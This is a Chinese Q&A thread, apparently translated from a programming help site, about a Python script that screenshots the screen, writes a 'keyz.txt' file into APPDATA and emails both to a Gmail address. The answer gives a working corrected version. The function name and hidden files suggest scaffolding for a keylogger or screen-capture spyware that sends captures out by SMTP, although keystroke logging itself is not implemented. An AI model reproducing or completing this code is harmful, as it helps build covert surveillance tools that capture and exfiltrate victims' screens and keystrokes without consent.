Python无法将屏幕截图正确发送到电子邮件

问题描述

我有这个担心。该python代码应该发送2个文件一个是文本文件,另一个是屏幕截图。它可以将文本文件正确发送到我的电子邮件,但不会将与其关联的正确图像发送到我的电子邮件,而是将其作为缓冲图像发送,而不是正确图像发送到我的电子邮件

我的代码看起来像这样

import os
import pyautogui
import smtplib 
from email.mime.multipart import MIMEMultipart 
from email.mime.text import MIMEText 
from email.mime.base import MIMEBase 
from email import encoders 

def CaptureKeysAndScreenShtAndSendToEmail():
    pic= pyautogui.screenshot()
    pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')  

    path = os.getenv('APPDATA')
    file = path + "\\" + 'keyz.txt'
    with open(file,'w') as f:
        data = 'Hello Jasmine!'
        f.write(data)

    fromAddr = "xxxxxx@gmail.com"
    ToAddr = "xxxxxx@gmail.com"

    msg = MIMEMultipart()
    msg['From'] = fromAddr
    msg['To'] = ToAddr
    msg['Subject'] = "Text File"
    body = "Test mail _ Attachment"
    msg.attach(MIMEText(body,'plain'))

    
    filename = file
    attachment = open(filename,"rb")
    p = MIMEBase('application','octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-disposition',"attachment; filename= %s" % filename) 
    msg.attach(p) 

    
    picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
    picattach = open(picturePath,"rb")
    x = MIMEBase('application','octet-stream')
    x.set_payload((picattach).read())
    encoders.encode_base64(x)
    x.add_header('Content-disposition',"attachment; filename= %s" % picattach) 
    msg.attach(x) 

    s = smtplib.SMTP('smtp.gmail.com',587)
    s.starttls()
    s.login(fromAddr,"ssssss")
    text = msg.as_string()
    s.sendmail(fromAddr,ToAddr,text)
    s.quit()
    print('Done')


CaptureKeysAndScreenShtAndSendToEmail()

我认为我无法正确捕获某些内容

解决方法

A,我解决了。 它现在将电子邮件和图片附件发送到电子邮件。一切都很好。很少有修改改变了一切

import os
import pyautogui
import smtplib 
from email.mime.multipart import MIMEMultipart 
from email.mime.text import MIMEText 
from email.mime.base import MIMEBase 
from email import encoders 

def CaptureKeysAndScreenShtAndSendToEmail():
    pic= pyautogui.screenshot()
    pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')  

    path = os.getenv('APPDATA')
    file = path + "\\" + 'keyz.txt'
    with open(file,'w') as f:
        data = 'Hello Jasmine!'
        f.write(data)

    fromAddr = "xxxxxx@gmail.com"
    ToAddr = "xxxxxx@gmail.com"

    msg = MIMEMultipart()
    msg['From'] = fromAddr
    msg['To'] = ToAddr
    msg['Subject'] = "Text File"
    body = "Test mail _ Attachment"
    msg.attach(MIMEText(body,'plain'))

    
    filename = file
    attachment = open(filename,"rb")
    p = MIMEBase('application','octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition',"attachment; filename= %s" % filename) 
    msg.attach(p) 

    
    picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
    picattach = open(picturePath,"rb")
    x = MIMEBase('image','png',filename='screenshot.png')
    x.set_payload((picattach).read())
    encoders.encode_base64(x)
    x.add_header('Content-Disposition',"attachment; filename= %s" % picattach) 
    x.add_header('X-Attachment-Id','0')
    x.add_header('Content-ID','<0>')
    msg.attach(x) 

    s = smtplib.SMTP('smtp.gmail.com',587)
    s.starttls()
    s.login(fromAddr,"sssssss")
    text = msg.as_string()
    s.sendmail(fromAddr,ToAddr,text)
    s.quit()
    print('Done')


CaptureKeysAndScreenShtAndSendToEmail()

更改此

x = MIMEBase('image',filename='screenshot.png')并添加一些其他标题,以此改变了一切。

标题

x.add_header('X-Attachment-Id','0')
x.add_header('Content-ID','<0>')